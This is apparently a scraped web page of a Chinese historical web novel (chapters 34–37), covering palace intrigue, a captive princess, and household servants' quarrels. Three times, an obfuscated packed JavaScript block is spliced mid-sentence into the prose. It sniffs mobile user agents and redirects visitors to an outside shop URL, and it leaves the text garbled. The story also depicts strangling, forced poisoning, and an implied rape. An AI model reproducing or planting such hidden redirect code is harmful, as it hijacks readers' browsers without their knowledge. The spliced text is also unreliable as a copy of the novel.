肃安王打量了她一眼,摇头道,“不记得。” 孟甘眉头紧锁,“王爷,此地不宜久留,我们还是赶快回去吧。” 肃安王淡淡“嗯”了一声,随即一把推开了舞女。 舞女死死拉住他的衣袖,不肯放手,带着哭腔念道,“云帆渔火江头,依稀人瘦。只作星幽,三更月如钩。时逢暖寿,把酒邀酬。待得白头老叟,红袖尚能在否?烛泪难收,华发浑眸,觞进如斗。唱晚悠悠。” 肃安王闻言脚下一顿,不可思议地回身看她。 她再也忍不住,径直扑倒在他的怀里,低声啜泣,“王爷,是我,我是悠悠呀。” 她的声音那么轻,裹挟在狂沙之中,倏然间便被吹散了。可他却是一字不落的听在耳里,所有尘封的记忆在这一瞬间被唤醒,他捂着心口,只觉得那里钝钝的痛。 风沙太大,孟甘离得又远了些,根本没听清她说了些什么。 他只觉得这个女人不是什么良善之辈,怕她坏事,便道,“王爷,这个舞女只怕是西域可汗派过来的奸细,你不要信她的话。” 肃安王仔细分辨着怀中女人的眉眼,“一个女人而已,孟大夫多虑了。” 他挥挥手,叫了两个亲兵过来,“你们两个,把她带到我的营帐里,不可轻慢了——”他顿了顿,温声问她,“你叫什么名字?” 舞女怔了怔,却也不过片刻功夫就反应过来,“尤辛,我叫尤辛。” “你们不可轻慢了尤辛姑娘,否则,以军法论。” 舞女还是不肯松手,“那你呢。” 肃安王拍了拍她的手,她的手很凉,手心还沁着冰冰的汗珠。 “我有事要办,要很久,你可以先好好睡一觉,有什么话,等我回来再说。”他说着,解下了身上的苍蓝色半袖长斗篷,给她披好,“放心,等我。” 舞女点点头,跟着士兵一步三回头的走了。 “孟大夫今日受惊了,一会儿回去好好歇一歇罢。” “无妨,还要多谢王爷眼疾手快,救了微臣一命。” “举手之劳,不必挂怀。” “不知王爷还有什么事要办,微臣或可从旁协助一二。” “一些没要紧的小事,就不劳孟大夫费心了。” “那王爷多带几个人跟着,能安全些。” 肃安王向陆奔怒了努嘴,“陆奔一人,足矣。” 天潢贵胄都有自己的贴身侍卫,陆奔之于肃安王,正如袁青之于太子一般,武艺自然是十分了得的,孟甘也没有什么不放心的,行了一礼,便告辞了。 陆奔见人都走远了,问道,“主子要办何事?” “你还记得悠悠吗?” 陆奔愣了一下,好半天才诧异道,“悠悠姐不是早就,早就——” 他擦了擦额头的汗,还是没敢说出那个“死”字。他知道,悠悠的死是主子心里最深的一块疤,主子用了好几年,才勉强将这件事淡忘,今日也不知中了什么邪,怎么又提起来了。 “她或许还活着。” “啊?或许?” “走吧,跟我一起去查查这件事。” 陆奔还在原地嘟囔着,“活着?或许?主子中什么邪呀?对了,一定是刚刚那个舞女,看她妖妖娆娆的就不是什么好人,肯定是她给主子下了什么巫蛊之术,害的主子昏头昏脑,净说胡话。” 他一面嘟囔,一面翻身上马,这才发现肃安王已经落了他好几百米,他急忙握紧缰绳,两腿用力一夹马肚子,大喊着追了上去,“主子,等等我。” 34. 山雀哀哀落 巫医给平乐诊治一番,又在方子里加了几位药,便走到西域可汗跟前回话。 西域可汗正斜依在虎皮圈椅上,听见脚步响,懒懒抬头扫了一眼,“如何?” “大汗安心,平乐阏氏恢复的很快,最迟后日,便可下地走路了。” 可汗点点头,又问,“她身上的伤痕呢,都治了好几天了,怎么还不见好?” “这不好说,短时间——” 巫医吸了一口气,“阏氏脸部以及脖上的伤痕不算很深,再过十日左右,便没事了。” “十日?不行。最多七日,不管使用什么手段,一定要把那些疤痕去的干干净净!” “这——”巫医思索良久,嗫喏道,“西国有一种花,名唤耶悉茗,色雪白,可入药,对于祛疤有奇效。” “西国?我们这里没有吗?” “这花喜温喜湿,在荒漠中不易存活,故而只生长在西国一带。” 一旁的穆则帕尔自告奋勇道,“大汗,让我去吧,不出七日,定将那耶悉茗给你带回来。” 可汗想了想,唤道,“巴吐尔。” 巴吐尔上前一步,“大汗,我在。” “嗯,你去西国一趟,悄悄地,别惊动人。” “明白。”巴吐尔抚胸行了一礼,出去了。 可汗看见一个侍女端着碗出来,便问,“做什么?” “阏氏一连服了几碗药,说苦,要喝果浆。” “我去看看她。”可汗站起身来,对巫医说道,“你先下去吧。” 巫医行礼告退,走了几步却又折返回来,笑道,“对了,还有一件事,阏氏她有喜了,恭喜大汗。” 可汗愣了一下,随即仰天长笑,“哈哈哈,好啊,好啊!”他接过侍女刚刚倒好的果浆,疾步走了进去。 平乐才吃了药,恶心的厉害,正伏在床沿上干呕,见他进来,费力地抬起胳膊,指着他骂道,“滚出去,我不想见到你。” 可汗默默看着她不作声,跟进来的穆则帕尔恶狠狠地说道,“找死吗?嘴巴放干净些。” 平乐冷笑,“哼,你这条只会乱叫的狗,要是有种,就一刀砍死我呀。” 穆则帕尔气得两眼通红,才抽出镔铁大刀,就被可汗用手指压了下去。 “二弟,你疯了?” “怕什么?大不了就和大魏皇帝干一仗,谁怕谁啊!难道要被一个女人指着鼻子骂?!大哥从前大杀四方的时候,可不是这副样子!” 可汗随手拿起床边一个空药碗,冲他脚下砸了过去,骂道,“蠢货!我当年是怎么当上这个可汗的,你不是不知道!叔父旧部一直蠢蠢欲动,肃安王这次又是带兵前来,他的本事你在席间也见识了。内忧未平,外患又起,如果大魏现在杀过来,你以为我们能有几成胜算?” 穆则帕尔梗着脖子,“有什么了不起的,不试一试,怎么知道鹿死谁手?” “拿什么试?拿整个部族男女老少的命去试吗?西域,不能再有战争。”可汗叹了口气,“你出去吧,有空好好想想我说的话。” 穆则帕尔一声不吭,怒气冲冲的就往外头走,随后便听一阵噼里啪啦的响声传来,一个士兵慌慌张张地进来禀告,“将军把外头的东西都给摔了。” “人呢?” “摔完就走了,大汗您看,用不用派几个人跟着?” “不用管他,随他去。” 可汗端着果浆走到平乐床前,挤出一丝笑来,“老二一直都是这个脾气,你别理他。” 平乐仰头看他,“晗安哥哥来了,是吗?” “嗯,你想见他吗?” 平乐冷笑,“我想不想有用吗?” 可汗把碗搁在床沿上,胡乱拽了一把椅子坐下,“如果你能管住自己的嘴,见见也无妨。” “好啊,我听你的就是。” “呵呵,嘴长在你的脸上,你万一到时候说了出去,怎么办?” “那你想要如何?” 可汗笑了笑,从怀中掏出一个小小的白瓷瓶,“你既然偷听过我们的谈话,就该知道,这黄昏雨的厉害。” “你的意思是,我如果想见晗安哥哥,就必须服下这瓶毒药?” “不错。” 平乐心中五味杂陈,于她而言,这世间已经没有什么好留恋的了,活着即是痛苦,死了也算解脱,只是,这黄昏雨发作起来,叫人求生不得,求死不能,她不怕死,却是怕疼得很。 可是,如果不见,他干的那些勾当就再也不会有人知道了,那大魏—— 她这样想着,伸手抢过瓶子,刚要服下黄昏雨,脑子里突然转过一个念头,她的手顿了顿,将瓶子搁在一边,惨白的脸上浮出一抹笑意,“我不服药,你也得放我去见他,对不对。” 可汗盯着她的眼睛,轻蔑道,“痴心妄想。” 他说完,就移开了目光,不再看她。 平乐观察着他的神情,内心更加笃定,“晗安哥哥此行就是为我而来,如果见不到我,他是不会善罢甘休的。” “胡说八道,你听谁胡说的?”可汗有些恼了,如鹰隼般锐利的目光扫视着屋内之人,“你们一个个的都活腻味了吗?” 屋里的侍女无不胆寒,齐齐跪倒在地上,不敢言语。 平乐看着他气急败坏的模样,知道自己猜得没错,“吓唬她们做什么?没有人告诉我,都是我自己猜的。你今日古怪的很,我骂了你,若在往日,少不得又是一顿鞭子,可你今日不急不躁,好言好语,定是有事求我。” 可汗怒极反笑,“不错,他是说要见你,但我还是劝你管好自己的嘴。如果你不听话,我立刻就宰了你,宰了你的晗安哥哥,再率军去平了你的大魏!” “你如果真的有这个本事,此刻就不会站在这里了。” 平乐轻蔑的神情彻底激怒了他,他一巴掌抡了过去,平乐躲闪不及,整个人被他扇倒在床上,半边脸都渗出血来。 他仍不解恨,上前掐住她的脖颈,嘴里不干不净地骂道,“真是给脸不要脸,老子现在就揭了你的皮。” 平乐听着他的污言秽语,知道自己今日又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502742|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 免不了一顿好打,她把心一横,拼尽全身力气,朝他脸上吐了一口吐沫,“苏里唐,你个有娘生没娘养的畜生,你杀了我啊!” 可汗脸色铁青,眼神阴鹜,要知道,直呼他的名讳已是最大的不敬,更何况她还敢提及他早去的阿娜。他手里不由自主加重了力道,用空着的那只手劈脸就打了过去。 登时,平乐喉头一股甜腥涌了出来,她咬咬牙,生生咽了回去,继续激他,“没吃饭吗,就这点力气?” 可汗用两只手掐着她的脖颈,就往上提。 平乐双脚离地,呼吸越来越困难,可她心里头却是欢喜的不行。 终于,她不用再受他的折磨,终于,她不必再留在异乡受苦,终于,终于。她闭上眼睛,心里默念道,“母亲,永别了。” 可汗阴恻恻的冷笑,“一心求死?”他突然松开手,让她重重的跌了下去。她趴在地上,不住地干呕,之前吃的药也尽数吐了出来。她知道,自己方才已经无比接近死亡,只差一点,就差一点。 她还没来得及喘息,整个人就又被他提了起来,他用粗糙宽大的手掌托住她的下颚,用力一捏,迫使她张开嘴,另一只手则拿起药瓶,将里头的黄昏雨尽数灌了进去,直到她彻底咽下才送开手。 平乐被他折腾的一点力气都没有了,她低声咒骂,“杀了我,苏里唐,有种你就杀了我,别让我瞧不起你。” 可汗俯下身子,拍着她红肿的半张脸,冷笑道,“还有一件事要告诉你,你怀上孩子了,如果不想这个孩子在你肚子里死掉,就乖乖听话。听话,才能少吃些苦头。” 平乐怔愣地看向腹部,这个消息好似五雷轰顶一般在她脑中炸开。她居然怀孕了,怀上了这个恶魔,这个畜生的种?她简直生不如死,可她不得不冷静下来,迫使自己分析着利害轻重。 她明白,现在同他硬碰硬,不是最好的选择,如果她此刻死在这里,他也大可以编出一个暴毙的谎言糊弄过去。如果这样,他和席容炎一起做的那些勾当就再也不会有人知道了。自己现在要做的是稳住他,这样才有机会告诉晗安哥哥所有的真相。 她低声呢喃,“虎毒尚不食子,你的孩子,你竟也下得去手?” 他仍是冷笑,“你得听话,才能保住这个孩子。” 她低下头,将所有的伤心事都想了一遍,逼着自己流出了几滴眼泪,复又仰头看向他,“我听,从今往后,我都听你的就是。” 可汗眯起眼睛打量着她,她的半张脸正往外渗着鲜血,另外半张却惨白的好像纸一样,她的脖子上有一道深深的红印,两侧还有指痕,这都是他的杰作,她这副样子,无形中给他带去一丝快感。 平乐原本只是想装可怜,好让他放松戒心,不曾想反倒勾起了他的欲望,她挣扎着怒斥,“你个畜生!” 平乐没有力气再挣扎,她好像死人一般,由着他摆弄自己,行尸走肉,不过如此。 外头,两只山雀飞落,叫声尖细而又哀婉。 平乐裹着衣服坐了起来,她听着山雀的叫声,眼中一片死寂。 35. 四儿弹机锋 烟雨阁。 席容炎派人守住了烟雨阁的大门,不准她们出去。 外面的时光还在不紧不慢地流淌,而里面的枯叶落了一地,只能兀自书写着秋日的寂寥。 席容烟蹲在桃树下面,看着泥土里来来往往的蚂蚁出神。她被关在这个院子里已经七天了,她初时还为着不用早起请安而欢喜,可渐渐的,她只觉得无趣和烦闷,这样的日子什么时候是个头啊。她的腿蹲得有些酸麻,只好直起身来慢慢揉着,正好瞧见敛秋抱着杌子过来。 席容烟看见敛秋,不由得有些头疼。 这些日子,敛秋成日家围着自己转,美名其曰,是按照夫人的吩咐办事。敛秋既然打了席容夫人的名号,席容烟总不能斥责敛秋吧,否则,这不是打了席容夫人的脸面吗。 即便席容夫人再怎么不喜欢敛秋,但若是脸面有损,她又岂会饶过并非自己所出的席容烟呢,因此,席容烟无可奈何,只能暂且忍耐着敛秋,想着找机会再磨一磨她的锐气。 敛秋把杌子放在离席容烟三四米远的地方,坐下一动不动的盯着她。 桃夭端着茶水从里屋出来,路过敛秋的时候,桃夭瞥她一眼,用鼻子哼出一口气来,“呦,好一个大闲人,端茶倒水不见你,扫洒庭除也不与你相干,成日家往姑娘跟前一坐,不知道的还以为你是哪里来的主子奶奶,惯是会享清福的人。” 敛秋不急不怒,淡淡一笑,“我来之前,夫人只吩咐了我一件事,那就是看好烟姑娘,咱们呀,各为其主,井水别犯河水。” “那就劳烦敛秋姐姐往边上挪挪,别耽误咱们这些奴婢做事。姑娘喝不上茶倒是小事,若是弄脏了姐姐新换的这一件盘金绣葱黄缎子袄,岂不是天大的罪过。” 四儿正在廊下喂鸟,听见这话,鸟也不喂了,走过来笑道,“姑娘这些日子一直说闷,我想着,给姑娘买只金毛犬解闷,姑娘说好不好。” “金毛犬?我怎么没听说过。我记得咱们府里,就只有周姨娘养了一只哈巴狗,四妹妹喜欢的打紧,常抱它出来玩儿。” 桃夭插嘴道,“我听说二少爷之前从西域弄了一只金毛犬回来,献给了夫人,夫人为着二少爷的孝心,还专门拨了一间屋子给它,正经养了几天,后来不知怎的又给送走了。” 四儿道,“敛秋姐姐不是夫人房里出来的吗,她肯定见过金毛犬,左右闲着也是闲着,敛秋姐姐何不和我们说说,这狗什么模样,什么性情。” 敛秋讥笑,“真是没见识,不过一条狗罢了,也稀罕成这个样儿。” 桃夭才要说话,却被四儿一把拉住。四儿围着敛秋转着圈说道,“姐姐跟着夫人,自然是见过世面的,同我们说上一说,也好叫我们涨涨见识。” 敛秋面上得意,清了清嗓子道,“金毛呢,色泽金黄,模样俊俏,最重要的是它温顺,衷心,夫人还是很喜欢的。不过夫人肃静惯了,一时不适应,养着养着就腻烦了。” 四儿做出恍然大悟的样子,“哦,原来是这样啊。” 席容烟便说,“也罢,院子里有一只鹦哥已经够了,若再来一条狗,就越发热闹了。” 四儿转到敛秋身后,笑道,“姑娘说晚了,这不,夫人怕姑娘关在这里寂寞,已经巴巴的送了过来,寸步不离的跟着姑娘,姑娘就是不想养,也不能啊。” 说着,四儿便朝敛秋努嘴。 席容烟听了这话,不禁掩面笑将起来。 桃夭扑哧一声,上去点了一下四儿的脑门,笑骂,“好伶俐的猴儿,难为你怎么想的。” 两个小丫鬟本来在墙边修剪花草,听见这里的热闹,早凑了过来,此刻正抱着笑作一团,哎呦呦的直喊肚子疼。 敛秋因为背对着四儿,并不知晓她的举动,听她说夫人送了金毛狗过来,还好奇地四处张望,“夫人什么时候送来的,我怎么没瞧见。” 四儿忍住笑,道,“姐姐只看哪里冒着金光,那便是了。” 敛秋觉出不对,看见众人笑得越发狠了,后知后觉的低头一看,她葱黄袄子上的盘金绣此刻正被太阳照得黄澄澄的,一闪一闪的发着金光。她又气又恨,上前一把扯住四儿的头发,嘴里骂道,“好个下流东西,灌了多少黄汤,竟敢编排起我来了,你一个不入流的小丫鬟,给我提鞋都不配,好不好,打一顿,拉出去配小子。” 四儿被敛秋薅着头发,疼的呲牙咧嘴,她个子虽小,人却机敏,又是市井出身,最是争强好胜的性子,此刻吃了亏哪里肯依。她踮着脚,用力从敛秋脑袋上扯了一大把头发下来,“梅香拜把子,还不都是奴才吗,你能尊贵到哪里去?你不配小子,等着做二少爷的小老婆不成?可惜啊,灯盏无油你枉费心,夫人到底把你撵了出来,还不是因为你整天扮成狐媚子模样勾引二少爷?你的那点风流账,就是二门上小厮养的狗都门清!” 敛秋臊的涨红了脸,体面也不要了,两手搬着四儿就往地上推搡。四儿到底瘦些矮些,被她扑在地上渐渐有些招架不住。 桃夭看见敛秋一开始挨了一顿好骂,心里别提多高兴了,就只抱着肩膀站在一旁看热闹。现下看见四儿落了下风,这才上前解劝。 “四儿就是个小孩子,嘴里没遮没拦的,姐姐也信她的话?姐姐可是夫人房里出来的人,正经的二等大丫鬟,最是讲规矩明事理的,当着这么多人的面和一个小孩子厮打岂不难看。” 敛秋用余光扫了扫,果见烟雨阁的丫鬟婆子们听见动静都围了过来。她知道今天这事儿不能闹大,不然传出去,大家议论起来总是难听,自己的前途也就从此断送了。细究起来,哪个院子里没有风流账,可是大家心里知道是一回事,吵嚷出去又是另一回事。但转念一想,她好歹是夫人派过来的人,就这样被一个不入流的小丫鬟给辱骂了,心里的气着实难消。 桃夭看穿了她的心思,她佯装生气,上去打了四儿几下,看起来好像在帮敛秋,实则是把四儿护在了身下,不叫敛秋再有机会动手。 “越发没规矩了,还不赶紧给你敛秋姐姐道歉。”她一面说,一面就冲着四儿使眼色。 四儿原本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502743|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没受什么委屈,又骂了敛秋出气,心情大好,听见桃夭如此说,便软了许多,“是我年轻不懂事,敛秋姐姐大人有大量,就饶了我吧。” 敛秋打不到四儿,索性拽住桃夭,冷冷道,“这就完了?你当是小孩子过家家呢,一句道歉就想把我给打发了?你们一个唱红脸,一个唱白脸,都是一条藤,别当我是傻子看不穿!” 桃夭只好陪笑,“那姐姐想要如何?” “叫她即刻跪下,向我叩头请罪。” 四儿自然是不依的,“呸,让我给你跪下?你想得美!” 桃夭脸上也有些挂不住,“敛秋,你看——” 几人正僵持着,忽见一个茶盏迎面飞了过来,正好砸在她们跟前,滚烫的茶水泼了一地,几人俱是一惊,纷纷往后退了一步。 席容烟不知什么时候从树根下站了起来,她冷冷的瞥了过来,说的话虽是在训斥几人,目光却是稳稳地停在敛秋身上,“吵嚷什么?一个个儿越发没规矩了!” 几人都不吭声,只有敛秋撇撇嘴,不满道,“烟姑娘也忒护短了,姑娘既愿意管,倒是站出来好好评个理,今儿的事到底是谁的不是?” 席容烟微微颔首,“好啊,正好今日烟雨阁的人都在,我便借着这件事儿,好好肃一肃烟雨阁的风气!桃夭,把所有人都唤到院子里,四儿,去给我搬一把椅子。” 一时间,烟雨阁里的丫鬟婆子都聚在了院子里,桃夭点了点人数,便回道,“人齐了。” 烟雨阁的丫鬟婆子加在一起,不多不少,正好八人。若在一般官宦人家,这倒也合规矩,但在相府里,烟雨阁的奴婢配置只能算个中等水平。 只因烟雨阁地处偏僻,油水又少,远比不得席容夫人所居的荣华堂,论起前途,也不如席容炎所居的席地斋。在宰相府这些下人的眼里,席容烟算不得府里的正经主子,因此,但凡有些门路有些心眼的就算进不了荣华堂和席地斋,也会想办法到二少爷、三少爷、二小姐的房里伺候。 不过,这几位都不是省事的主儿,席容炎自不必说,万一在席地斋听了什么不该听的,又或是说了什么不该说的,性命立时不保。席容夫人表面和和气气,实则心狠手辣,更是个杀人不见血的角色。二少爷风流成性,三少爷顽劣不堪,二小姐脾气刁蛮,稍有不顺心的,就拿下人出气。而席容烟素来省事,对下人也不怎么约束,倒在下人们中间留了个好名声。 因此,敛秋虽是奉了席容夫人的旨意看管烟雨阁,烟雨阁真心信服她的人却并不多,再加上桃夭、四儿多番弹压,更是让她在烟雨阁处境尴尬。 四儿在屋里寻了一把吴江竹椅,搬到院子正中央,扶着席容烟往椅上坐了。桃夭早斟了一杯新茶,递到席容烟手中。席容烟徐徐吹着茶水上的浮沫,听着底下人叽叽喳喳的议论。 先头那两个修剪花草的丫鬟目睹了全过程,此刻正绘声绘色的讲给身边的人听。 席容烟待着她们说得差不多了,便撂下茶,轻轻咳了一声,那些丫鬟婆子立时肃静下来。 36. 冷语慑敛秋 席容烟抬起头,目光依次扫过每个人的脸,却并不多做停留,她悠悠开口道,“今日找大家过来,一共有三件事要说。算起来,我被关在烟雨阁中已经七日了,连累着诸位也同我一起受苦,第一件事,就是要同大家说一句,辛苦了。” 丫鬟婆子面面相觑,有些摸不到头脑,连声说,“不敢。” “第二件事,是为敛秋接风洗尘。算起来,敛秋来到烟雨阁也已经七日了。烟雨阁不如荣华堂气派,房舍也少,委屈敛秋一直同四儿挤在一处,想来定是受了不少委屈,才惹出了今天的这番事来。敛秋,你说是不是?” 敛秋一愣,这话怎么回都不对,若说是,旁人定要说她事多,若说不是,又要扯出她同二少爷的那些事来,眼下也只好两害相权取其轻。她咬咬牙,回了声“是”。 席容烟微微一笑,“这样讲倒是我的不是了,桃夭,看一看哪里还有空的房舍,找出来,请敛秋姑娘单住一间。” 桃夭道,“当日便找过了,没有空出来的房舍,都是一人一个位置,只有四儿房里之前出去了一个,余下一个床位,才让她同敛秋同住的。我那屋子虽是我自己住着,却小的可怜,哪有再放一张床的位置。若要腾出一个空屋子来,就只有委屈其他人挤一挤,三人同住一间。” 敛秋忙解释道,“我只是个做奴婢的,并不在乎和谁住在一起,只是四儿一个不入流的小丫头,屡屡以下犯上,实在可恶,今日又说出那些没影儿的话来,明显是蓄意挑衅,着实惹怒了我,我才恼的,姑娘不必拿这话来替她遮掩。” 席容烟道,“我话还没说完,你急什么,难道荣华堂的规矩便是如此吗?” 敛秋道,“奴婢不敢,只是希望姑娘不要当着这么多人的面,白白冤枉了奴婢。” 席容烟的声音立时冷了下去,“冤枉?我又不是专管断案的,自然不如衙门断的分明。你若觉得我说的不对,不如去衙门走上一遭,倒也不用十分麻烦,我记得府内就设有私狱,正好门外值守的人也是从私狱拨过来的,桃夭,你去知会一声,就说请他们带敛秋跑一趟。” 敛秋吓得脸都白了,宰相府的私狱最擅长严刑逼供,即使最后无罪释放了,身上也没有一块好肉,她如果进去了,这辈子的前途就彻底断送了。眼看着桃夭应了一声,就往门外走,敛秋赶紧上前拽住桃夭,又回头道,“姑娘说什么就是什么吧,奴婢没有异议。” 席容烟挥了挥手,示意桃夭回来,“你说得原也不错,四儿身份的确低了些,不配与你同住,这样吧,即日起就升四儿为二等丫鬟,如此就无碍了。” 此言一出,在场之人俱是一愣。烟雨阁从前只有一个二等大丫鬟,便是桃夭,她从小就服侍席容烟,这个位置原也当得起,众人自然服气。 敛秋虽也是二等大丫鬟,到底是从席容夫人房里出来的,她们虽然艳羡,也不能多说什么,可是四儿,她长得瘦小,摸样也不出众,怎么就得了姑娘的青眼,实在是让人嫉妒。 小丫鬟蕙儿小声说道,“烟雨阁向来都以桃夭姐姐为尊,大小事宜,无不妥帖,可后来又来了个夫人房里的敛秋姐姐,我们已经不知道该听谁的了,如今姑娘又提拔了四儿,也是二等丫鬟的位置,这以后不就越发乱套了吗。” 四儿忙道,“奴婢不在乎什么一等二等,只要一直跟着姑娘就好。” 席容烟思忖道,“桃夭,你去席地斋回禀父亲,就说我想提拔你为一等丫鬟,请求父亲恩准。” 敛秋道,“姑娘提拔四儿,奴婢不敢说什么,可是一等丫鬟向来是只有老爷夫人才有的。” 桃夭也是一愣,“姑娘,这的确不合规矩,况且烟雨阁的大门关着,根本不许随意出入,此事还是作罢吧。” “不要紧,”席容烟摸了摸发髻,解下一根五彩缨线,“这是我定婚那日皇后娘娘亲自为我系上的,你带着它去找父亲,想来无人敢阻拦你。” 桃夭接过五彩缨线,又看了席容烟一眼。 席容烟向她略一点头,桃夭这才推门出去。 桃夭向门外的人解释了一番这线的来历,他们却如充耳不闻一般,根本不理会她,反手就把门给关上了。 桃夭心中憋着一口气,用力把大门敲开,“睁大你们的狗眼给我看清楚,这是皇后娘娘钦赏的,你们有几个胆子敢拦!” 门口的邓千笑道,“哟,皇后娘娘钦赏的,我好害怕呀。” 他的话引得其他看守的人跟着哄笑起来。 邓千话锋一转,变了脸色,“唰”一下抽出了腰侧的佩刀,“给老子看清楚了,这儿是宰相府,皇后娘娘赏的东西在这儿狗屁都不是,老老实实呆着,要不就问问我的这把刀。” 桃夭看见刀上寒光,倒吸一口凉气,不敢再说什么,正要关门进去,却被一人拦住了。 来人正是席容烟,她纤细的手臂抵在朱红色的院门上头,白如白雪,红似红梅。 邓千打量了席容烟半日,语气略微恭敬了些,“这位是烟姑娘吧,烟姑娘别让咱们犯难,都是上头的吩咐,咱们也是依着规矩办事。” 席容烟扫了眼门外的其他人,笑道,“自然,不过我想,父亲只是吩咐了不许这院子里的人出去,并没有说过,有什么事情也不能回禀吧。” “老爷没吩咐过,我们也不敢擅作主张。” 席容烟不动声色地从腕上褪下一个玲珑玉镯,塞到了邓千手里,“这是我的一点心意,麻烦将军帮帮忙吧。” 邓千掂了掂镯子的分量,趁没人注意,赶紧往怀里揣了,“现在不行,如果现在走了,就是擅自离岗,老爷会罚我们的。不过烟姑娘放心,晚间会换一班人马来这里看守,到时候我再抽空去席地斋回禀老爷。” 席容烟笑道,“那就有劳了。” 邓千目光忽闪,突然把手搭在了席容烟的手上,皮笑肉不笑地说,“依我看,姑娘这手腕子可比玉镯子金贵多了,要不然,姑娘陪我吃杯酒,我什么都不要姑娘的。” 席容烟又惊又怒,忙欲抽手,可她哪里能挣脱得开邓千钳子一般的手掌,她白净的手腕上登时被勒出一圈红痕。 邓千生得高大,他整个人罩着席容烟,旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502744|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人根本瞧不见发生了什么。 席容烟才要喊人,仔细一想,又觉不妥,于是厉声喝道,“放肆!我是宰相府的三小姐,你怎敢对我不敬!” “三小姐?”邓千阴恻恻冷笑,“你满府里问问,有几个人真把你当三小姐了?烟姑娘,识时务者为俊杰,寒星如今自身难保,你还不如跟了我,我不比他差的。” 席容烟听见寒星的名字,一下子慌了神,她颤抖着声音问道,“你说什么?寒星怎么了?” “寒星呀,快死了。” “啪”的一声,席容烟一巴掌甩在他的脸上。 邓千捂着脸,瞪视着她,“你敢打我?” 席容烟胸中情绪翻滚,她顾不得许多,扬手又是一巴掌,“我打的就是你!” 邓千一脸震惊,气得说不出话来。 宰相府时不时会有一些丫鬟触怒了主子,被发落到私狱受罪,这些丫鬟一旦入了私狱,没有几个能逃过狱卒的魔掌的,邓千横行霸道惯了,还是第一次被一个女子扇巴掌。 “好,好!你给老子等着,等你有一天成了宰相府的弃子,你看老子怎么收拾你!” 邓千不由分说,将烟雨阁的院门“砰”地关上了。 席地斋。 寒星单膝跪地,他刚从私狱被放出来,身上的伤口还没来得及包扎,鲜红的血从黑色的夜行服上渗出,最终在他的身下汇成小小一团。 席容炎打量了寒星一阵,幽幽开口道,“说吧,你求见了多次,究竟所为何事?” 寒星反问,“可否先问主公一句,主公此次召属下前来,究竟所为何事?” 席容炎眯起眼睛,几乎怀疑自己听错了,“你说什么?” 寒星轻笑,“属下一连求见七日,却都未得到允准,属下知道,如果不是有要紧的任务,主公是不会放我出来的。” 席容炎默了默,终于笑将起来,“哈哈哈,好一个寒星,不愧是由我一手调教出来的人,既如此,你不妨猜上一猜,我放你出来,是要派你去做什么?” “属下愚见,恐是西域出事了。” 一语落地,许久未有回音。寒星抬头瞥见席容炎脸上隐隐有怒气浮现,他复又低下头去,心中左右思量,最终拿定主意赌上一把。 他强撑着站直身子,对着席容炎说道,“属下虽然杀了西域那个客商,但事情已然出了,皇上定会命肃安王彻查。算算日子,估计肃安王已经在西域逗留数日了,可是属下身在私狱,却并未听见有关他的一点闲话,这就说明,他如今一切安好,而他安好,主公便不能安好。” 席容炎仍是沉默着,他像是一尊雕像,静默的端坐在那里,一动不动,不发一言。 寒星继续激他,“恐怕此刻,肃安王已经查明了全部真相,正要带着平乐公主回京复命。” “放肆!”席容炎忽然大吼一声,声音中夹杂着几分愤怒,几分无奈,还有几分惊惧。 寒星于是住了嘴,借着一缕微弱的月光注视着他。 不知为何,寒星突然想起十几年前初见他的情景。 37. 前尘忽已逝 十二年前,寒星的母亲为了保全自己的清白,用一柄匕首杀死了那个欺身而上的男人。 她在红翠馆躲了多年,早已厌倦了这种看不到希望的日子。 彼时,寒星已经十一二岁了,也有独自生活的能力了。 打定主意,她用自己所有的积蓄,找京中最有名的铁匠为寒星锻造了一柄宝剑。 剑尖凛凛寒光,剑刃削铁如泥,剑柄莲花雕镂,真真是一把绝世好剑。 寒星爱不释手,给此剑取名为青霜。 寒星的母亲含泪吻他,拿出身上最后的一点银两,让他去街上买些糕点回来。 寒星接了银子,揣着宝剑,蹦蹦跳跳地去了。 而她则在寒星离开之后,用匕首割破自己的手腕,血溅红翠馆,结束了自己年轻的性命。 母亲死后,寒星被杨妈妈从红翠馆赶了出来,因为营养不良,瘦得竹竿一般,无人愿意雇佣他,他只好打些零工,勉强讨得一碗饭吃。 那日,他做完苦力,累得瘫倒在长街的一家茶叶铺门口喘息着。茶叶铺的老板正好在门口和伙计闲聊,瞧见他的样子,对伙计说了几句话,随即转身进了铺子。 寒星担心一会儿有人出来撵自己,便扶着门口的台阶准备要走,伙计跑出来叫住了他,手里还拿了一张香喷喷的馍饼,“别怕,这个是我家老板请你吃的。” 